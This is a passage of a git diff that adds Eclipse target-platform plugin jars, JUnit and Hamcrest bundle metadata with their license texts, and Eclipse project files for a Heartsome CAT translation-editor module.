b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390x_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_3.7.2.v3740f.jar new file mode 100755 index 0000000..296d2dd Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_64_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_64_3.7.2.v3740f.jar new file mode 100755 index 0000000..156e39e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.x86_64_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.sparc_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.sparc_3.7.2.v3740f.jar new file mode 100755 index 0000000..07f3c63 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.sparc_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.x86_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.x86_3.7.2.v3740f.jar new file mode 100755 index 0000000..94828ea Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.solaris.x86_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_3.7.2.v3740f.jar new file mode 100755 index 0000000..3b8a583 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_64_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_64_3.7.2.v3740f.jar new file mode 100755 index 0000000..2812328 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.win32.win32.x86_64_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt_3.7.2.v3740f.jar new file mode 100755 index 0000000..d3badae Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.text_3.5.101.v20110928-1504.jar b/targetPlatform/plugins/org.eclipse.text_3.5.101.v20110928-1504.jar new file mode 100755 index 0000000..9537035 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.text_3.5.101.v20110928-1504.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.carbon_4.0.100.I20101109-0800.jar b/targetPlatform/plugins/org.eclipse.ui.carbon_4.0.100.I20101109-0800.jar new file mode 100755 index 0000000..b4f3dc1 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.carbon_4.0.100.I20101109-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.cocoa_1.1.0.I20101109-0800.jar b/targetPlatform/plugins/org.eclipse.ui.cocoa_1.1.0.I20101109-0800.jar new file mode 100755 index 0000000..e30513e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.cocoa_1.1.0.I20101109-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.editors_3.7.0.v20110928-1504.jar b/targetPlatform/plugins/org.eclipse.ui.editors_3.7.0.v20110928-1504.jar new file mode 100755 index 0000000..9b07033 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.editors_3.7.0.v20110928-1504.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.forms_3.5.101.v20111011-1919.jar b/targetPlatform/plugins/org.eclipse.ui.forms_3.5.101.v20111011-1919.jar new file mode 100755 index 0000000..1242dbe Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.forms_3.5.101.v20111011-1919.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.ide_3.7.0.v20110928-1505.jar b/targetPlatform/plugins/org.eclipse.ui.ide_3.7.0.v20110928-1505.jar new file mode 100755 index 0000000..292c6cd Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.ide_3.7.0.v20110928-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.navigator_3.5.101.v20120106-1355.jar b/targetPlatform/plugins/org.eclipse.ui.navigator_3.5.101.v20120106-1355.jar new file mode 100755 index 0000000..60ef5ed Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.navigator_3.5.101.v20120106-1355.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.net_1.2.100.v20111208-1155.jar b/targetPlatform/plugins/org.eclipse.ui.net_1.2.100.v20111208-1155.jar new file mode 100755 index 0000000..7733edb Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.net_1.2.100.v20111208-1155.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.views.properties.tabbed_3.5.200.v20110928-1505.jar b/targetPlatform/plugins/org.eclipse.ui.views.properties.tabbed_3.5.200.v20110928-1505.jar new file mode 100755 index 0000000..9fb45ac Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.views.properties.tabbed_3.5.200.v20110928-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.views_3.6.0.v20110928-1505.jar b/targetPlatform/plugins/org.eclipse.ui.views_3.6.0.v20110928-1505.jar new file mode 100755 index 0000000..a92495e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.views_3.6.0.v20110928-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.workbench.texteditor_3.7.0.v20110928-1504.jar b/targetPlatform/plugins/org.eclipse.ui.workbench.texteditor_3.7.0.v20110928-1504.jar new file mode 100755 index 0000000..9d39d42 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.workbench.texteditor_3.7.0.v20110928-1504.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui.workbench_3.7.1.v20120104-1859.jar b/targetPlatform/plugins/org.eclipse.ui.workbench_3.7.1.v20120104-1859.jar new file mode 100755 index 0000000..39f4261 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui.workbench_3.7.1.v20120104-1859.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ui_3.7.0.v20110928-1505.jar b/targetPlatform/plugins/org.eclipse.ui_3.7.0.v20110928-1505.jar new file mode 100755 index 0000000..e7b005d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ui_3.7.0.v20110928-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.update.configurator_3.3.100.v20100512.jar b/targetPlatform/plugins/org.eclipse.update.configurator_3.3.100.v20100512.jar new file mode 100755 index 0000000..68c2a94 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.update.configurator_3.3.100.v20100512.jar differ diff --git a/targetPlatform/plugins/org.hamcrest.core_1.1.0.v20090501071000.jar b/targetPlatform/plugins/org.hamcrest.core_1.1.0.v20090501071000.jar new file mode 100755 index 0000000..dea61de Binary files /dev/null and b/targetPlatform/plugins/org.hamcrest.core_1.1.0.v20090501071000.jar differ diff --git a/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/MANIFEST.MF new file mode 100755 index 0000000..4bfae3a --- /dev/null +++ b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/MANIFEST.MF @@ -0,0 +1,22 @@ +Manifest-Version: 1.0 +Bundle-Vendor: %providerName +Bundle-Localization: plugin +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Name: %pluginName +Bundle-SymbolicName: org.junit4 +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/ecl + ipse:org.junit4;tag=v20100525 +Require-Bundle: org.hamcrest.core;bundle-version="1.1.0";visibility:=r + eexport,org.junit;bundle-version="4.8.1";visibility:=reexport +Bundle-Version: 4.8.1.v20100525 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: about.html +SHA1-Digest: 5o+m6p5pSA13Ln2ZJVr28HBj2Jw= + +Name: plugin.properties +SHA1-Digest: Wv0zvGNivCvwY7jZIUt/sphnRAk= + diff --git a/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/eclipse.inf b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.junit4_4.8.1.v20100525/about.html b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/about.html new file mode 100755 index 0000000..d3184c8 --- /dev/null +++ b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    November 26 2009

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). Unless otherwise +indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor's license that was +provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.junit4_4.8.1.v20100525/plugin.properties b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/plugin.properties new file mode 100755 index 0000000..4b98a20 --- /dev/null +++ b/targetPlatform/plugins/org.junit4_4.8.1.v20100525/plugin.properties @@ -0,0 +1,13 @@ +############################################################################### +# Copyright (c) 2006 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### + +pluginName=JUnit Testing Framework Version 4 +providerName=Eclipse.org diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/MANIFEST.MF new file mode 100755 index 0000000..ad24ab0 --- /dev/null +++ b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/MANIFEST.MF @@ -0,0 +1,48 @@ +Manifest-Version: 1.0 +Bundle-ClassPath: junit.jar +Bundle-Vendor: %providerName +Bundle-Localization: plugin +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Name: %pluginName +Bundle-SymbolicName: org.junit +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/too + ls:org.eclipse.orbit/org.junit;tag=v4_8_2_v20110321-1705 +Require-Bundle: org.hamcrest.core;bundle-version="1.1.0";visibility:=r + eexport +Export-Package: junit.extensions;version="4.8.2",junit.framework;versi + on="4.8.2",junit.runner;version="4.8.2",junit.textui;version="4.8.2", + org.junit;version="4.8.2",org.junit.experimental;version="4.8.2",org. + junit.experimental.categories;version="4.8.2",org.junit.experimental. + max;version="4.8.2",org.junit.experimental.results;version="4.8.2",or + g.junit.experimental.runners;version="4.8.2",org.junit.experimental.t + heories;version="4.8.2",org.junit.experimental.theories.internal;vers + ion="4.8.2";x-internal:=true,org.junit.experimental.theories.supplier + s;version="4.8.2",org.junit.internal;version="4.8.2";x-internal:=true + ,org.junit.internal.builders;version="4.8.2";x-internal:=true,org.jun + it.internal.matchers;version="4.8.2";x-internal:=true,org.junit.inter + nal.requests;version="4.8.2";x-internal:=true,org.junit.internal.runn + ers;version="4.8.2";x-internal:=true,org.junit.internal.runners.model + ;version="4.8.2";x-internal:=true,org.junit.internal.runners.statemen + ts;version="4.8.2";x-internal:=true,org.junit.matchers;version="4.8.2 + ",org.junit.rules;version="4.8.2",org.junit.runner;version="4.8.2",or + g.junit.runner.manipulation;version="4.8.2",org.junit.runner.notifica + tion;version="4.8.2",org.junit.runners;version="4.8.2",org.junit.runn + ers.model;version="4.8.2" +Bundle-Version: 4.8.2.v4_8_2_v20110321-1705 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: u+F8j/GAE8tzrDry9+wT3Cvg81Y= + +Name: junit.jar +SHA1-Digest: 3IyykWMk4RDlEKLb1frdI8/w/+c= + +Name: about_files/cpl-v10.html +SHA1-Digest: REygXYi+T14Sj1v8XnnKycNjpN4= + +Name: about.html +SHA1-Digest: Myp5wMdsICQoAejNJG1PhgJ3UXY= + +Name: plugin.properties +SHA1-Digest: jmDQY7WzbFbRBx/fmZNGdzlfNyE= + diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/eclipse.inf b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/eclipse.inf new file mode 100755 index 0000000..68d6fa9 --- /dev/null +++ b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/META-INF/eclipse.inf @@ -0,0 +1,4 @@ +#Processed using Jarprocessor +jarprocessor.exclude.children.sign = true +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about.html b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about.html new file mode 100755 index 0000000..896fea2 --- /dev/null +++ b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about.html @@ -0,0 +1,90 @@ + + + + +About + + +

    About This Content

    + +

    March 21, 2011

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). Unless otherwise +indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor's license that was +provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + +

    Third Party Content

    +

    The Content includes items that have been sourced from third parties as set out below. If you +did not receive this Content directly from the Eclipse Foundation, the following is provided +for informational purposes only, and you should look to the Redistributor's license for +terms and conditions of use.

    +
    + +

    The Content includes items that have been sourced from third parties as follows:

    + +

    JUnit 4.8.2

    + +

    The plug-in is accompanied by software developed by JUnit.org. The JUnit 4.8.2 code included with the plug-in includes no modifications. +Your use of JUnit 4.8.2 in both source and binary code form contained in the plug-in is subject to the terms and conditions of the +Common Public License Version 1.0 ("CPL"). A copy of the CPL is available at http://www.eclipse.org/legal/cpl-v10.html. +The binary code is located in junit.jar and the source code is located in source-bundle or in the org.junit.source bundle. +
    The original source and binaries are available from https://github.com/KentBeck/junit/downloads, namely: +
    https://github.com/downloads/KentBeck/junit/junit-4.8.2-src.jar +
    https://github.com/downloads/KentBeck/junit/junit-dep-4.8.2.jar +

    + + +

    Hamcrest Library 1.1

    + +

    The plug-in is accompanied by software developed by Hamcrest (http://code.google.com/p/hamcrest/). +The hamcrest-library 1.1 code included within the JUnit 4.8.1 Jar includes no modifications. +Your use of hamcrest-library 1.1 in both source and binary code form contained in the plug-in is subject to the terms and conditions of the +New BSD License. +The binary code is located in junit.jar/org/junit/internal/matchers and the source code is located in source-bundle/org/junit/internal/matchers.

    + +

    The Hamcrest New BSD License:

    +
    +BSD License
    +
    +Copyright (c) 2000-2006, www.hamcrest.org
    +All rights reserved.
    +
    +Redistribution and use in source and binary forms, with or without
    +modification, are permitted provided that the following conditions are met:
    +
    +Redistributions of source code must retain the above copyright notice, this list of
    +conditions and the following disclaimer. Redistributions in binary form must reproduce
    +the above copyright notice, this list of conditions and the following disclaimer in
    +the documentation and/or other materials provided with the distribution.
    +
    +Neither the name of Hamcrest nor the names of its contributors may be used to endorse
    +or promote products derived from this software without specific prior written
    +permission.
    +
    +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
    +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
    +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
    +SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
    +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
    +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
    +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY
    +WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
    +DAMAGE.
    +
    + +
    + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about_files/cpl-v10.html b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about_files/cpl-v10.html new file mode 100755 index 0000000..36aa208 --- /dev/null +++ b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/about_files/cpl-v10.html @@ -0,0 +1,125 @@ + + + +Common Public License - v 1.0 + + + + + + +

    Common Public License - v 1.0 +

    +

    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS COMMON PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. +

    +

    1. DEFINITIONS +

    "Contribution" means: + +

      a) in the case of the initial Contributor, the initial code and documentation distributed under this Agreement, and
      +b) in the case of each subsequent Contributor:
    + + +
      i) changes to the Program, and
    + + +
      ii) additions to the Program;
    + + +
      where such changes and/or additions to the Program originate from and are distributed by that particular Contributor. A Contribution 'originates' from a Contributor if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf. Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program under their own license agreement, and (ii) are not derivative works of the Program.
    + +

    +

    "Contributor" means any person or entity that distributes the Program. +

    +

    "Licensed Patents " mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone or when combined with the Program. +

    +

    "Program" means the Contributions distributed in accordance with this Agreement. +

    +

    "Recipient" means anyone who receives the Program under this Agreement, including all Contributors. +

    +

    2. GRANT OF RIGHTS + +

      a) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor, if any, and such derivative works, in source code and object code form.
    + + +
    + + +
      b) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source code and object code form. This patent license shall apply to the combination of the Contribution and the Program if, at the time the Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The patent license shall not apply to any other combinations which include the Contribution. No hardware per se is licensed hereunder.
    + + +
    + + +
      c) Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the Program, it is Recipient's responsibility to acquire that license before distributing the Program.
    + + +
    + + +
      d) Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright license set forth in this Agreement.
    + + +
    + +

    3. REQUIREMENTS +

    A Contributor may choose to distribute the Program in object code form under its own license agreement, provided that: + +

      a) it complies with the terms and conditions of this Agreement; and
    + + +
      b) its license agreement:
    + + +
      i) effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose;
    + + +
      ii) effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and consequential damages, such as lost profits;
    + + +
      iii) states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party; and
    + + +
      iv) states that source code for the Program is available from such Contributor, and informs licensees how to obtain it in a reasonable manner on or through a medium customarily used for software exchange.
    + + +
    + +

    When the Program is made available in source code form: + +

      a) it must be made available under this Agreement; and
    + + +
      b) a copy of this Agreement must be included with each copy of the Program.
    + +

    +

    Contributors may not remove or alter any copyright notices contained within the Program. +

    +

    Each Contributor must identify itself as the originator of its Contribution, if any, in a manner that reasonably allows subsequent Recipients to identify the originator of the Contribution. +

    +

    4. COMMERCIAL DISTRIBUTION +

    Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this license is intended to facilitate the commercial use of the Program, the Contributor who includes the Program in a commercial product offering should do so in a manner which does not create potential liability for other Contributors. Therefore, if a Contributor includes the Program in a commercial product offering, such Contributor ("Commercial Contributor") hereby agrees to defend and indemnify every other Contributor ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Contributor in connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly notify the Commercial Contributor in writing of such claim, and b) allow the Commercial Contributor to control, and cooperate with the Commercial Contributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim at its own expense. +

    +

    For example, a Contributor might include the Program in a commercial product offering, Product X. That Contributor is then a Commercial Contributor. If that Commercial Contributor then makes performance claims, or offers warranties related to Product X, those performance claims and warranties are such Commercial Contributor's responsibility alone. Under this section, the Commercial Contributor would have to defend claims against the other Contributors related to those performance claims and warranties, and if a court requires any other Contributor to pay any damages as a result, the Commercial Contributor must pay those damages. +

    +

    5. NO WARRANTY +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and assumes all risks associated with its exercise of rights under this Agreement, including but not limited to the risks and costs of program errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations. +

    +

    6. DISCLAIMER OF LIABILITY +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. +

    +

    7. GENERAL +

    If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. +

    +

    If Recipient institutes patent litigation against a Contributor with respect to a patent applicable to software (including a cross-claim or counterclaim in a lawsuit), then any patent licenses granted by that Contributor to such Recipient under this Agreement shall terminate as of the date such litigation is filed. In addition, if Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's rights granted under Section 2(b) shall terminate as of the date such litigation is filed. +

    +

    All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However, Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive. +

    +

    Everyone is permitted to copy and distribute copies of this Agreement, but in order to avoid inconsistency the Agreement is copyrighted and may only be modified in the following manner. The Agreement Steward reserves the right to publish new versions (including revisions) of this Agreement from time to time. No one other than the Agreement Steward has the right to modify this Agreement. IBM is the initial Agreement Steward. IBM may assign the responsibility to serve as the Agreement Steward to a suitable separate entity. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is published, Contributor may elect to distribute the Program (including its Contributions) under the new version. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement, whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved. +

    +

    This Agreement is governed by the laws of the State of New York and the intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation. +

    +

    + + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/junit.jar b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/junit.jar new file mode 100755 index 0000000..8e5f1c5 Binary files /dev/null and b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/junit.jar differ diff --git a/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/plugin.properties b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/plugin.properties new file mode 100755 index 0000000..81bf128 --- /dev/null +++ b/targetPlatform/plugins/org.junit_4.8.2.v4_8_2_v20110321-1705/plugin.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2011 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName=JUnit Testing Framework +providerName=Eclipse Orbit diff --git a/targetPlatform/plugins/org.mortbay.jetty.server_6.1.23.v201012071420.jar b/targetPlatform/plugins/org.mortbay.jetty.server_6.1.23.v201012071420.jar new file mode 100755 index 0000000..09bb891 Binary files /dev/null and b/targetPlatform/plugins/org.mortbay.jetty.server_6.1.23.v201012071420.jar differ diff --git a/targetPlatform/plugins/org.mortbay.jetty.util_6.1.23.v201012071420.jar b/targetPlatform/plugins/org.mortbay.jetty.util_6.1.23.v201012071420.jar new file mode 100755 index 0000000..5a47bec Binary files /dev/null and b/targetPlatform/plugins/org.mortbay.jetty.util_6.1.23.v201012071420.jar differ diff --git a/targetPlatform/plugins/org.sat4j.core_2.3.0.v20110329.jar b/targetPlatform/plugins/org.sat4j.core_2.3.0.v20110329.jar new file mode 100755 index 0000000..e86e6f2 Binary files /dev/null and b/targetPlatform/plugins/org.sat4j.core_2.3.0.v20110329.jar differ diff --git a/targetPlatform/plugins/org.sat4j.pb_2.3.0.v20110329.jar b/targetPlatform/plugins/org.sat4j.pb_2.3.0.v20110329.jar new file mode 100755 index 0000000..4f31303 Binary files /dev/null and b/targetPlatform/plugins/org.sat4j.pb_2.3.0.v20110329.jar differ diff --git a/te/net.heartsome.cat.te.core/.classpath b/te/net.heartsome.cat.te.core/.classpath new file mode 100644 index 0000000..a592d57 --- /dev/null +++ b/te/net.heartsome.cat.te.core/.classpath @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.core/.project b/te/net.heartsome.cat.te.core/.project new file mode 100644 index 0000000..30c7094 --- /dev/null +++ b/te/net.heartsome.cat.te.core/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/te/net.heartsome.cat.te.core/.settings/org.eclipse.jdt.core.prefs b/te/net.heartsome.cat.te.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..6fbd585 --- /dev/null +++ b/te/net.heartsome.cat.te.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri May 17 14:19:29 CST 2013 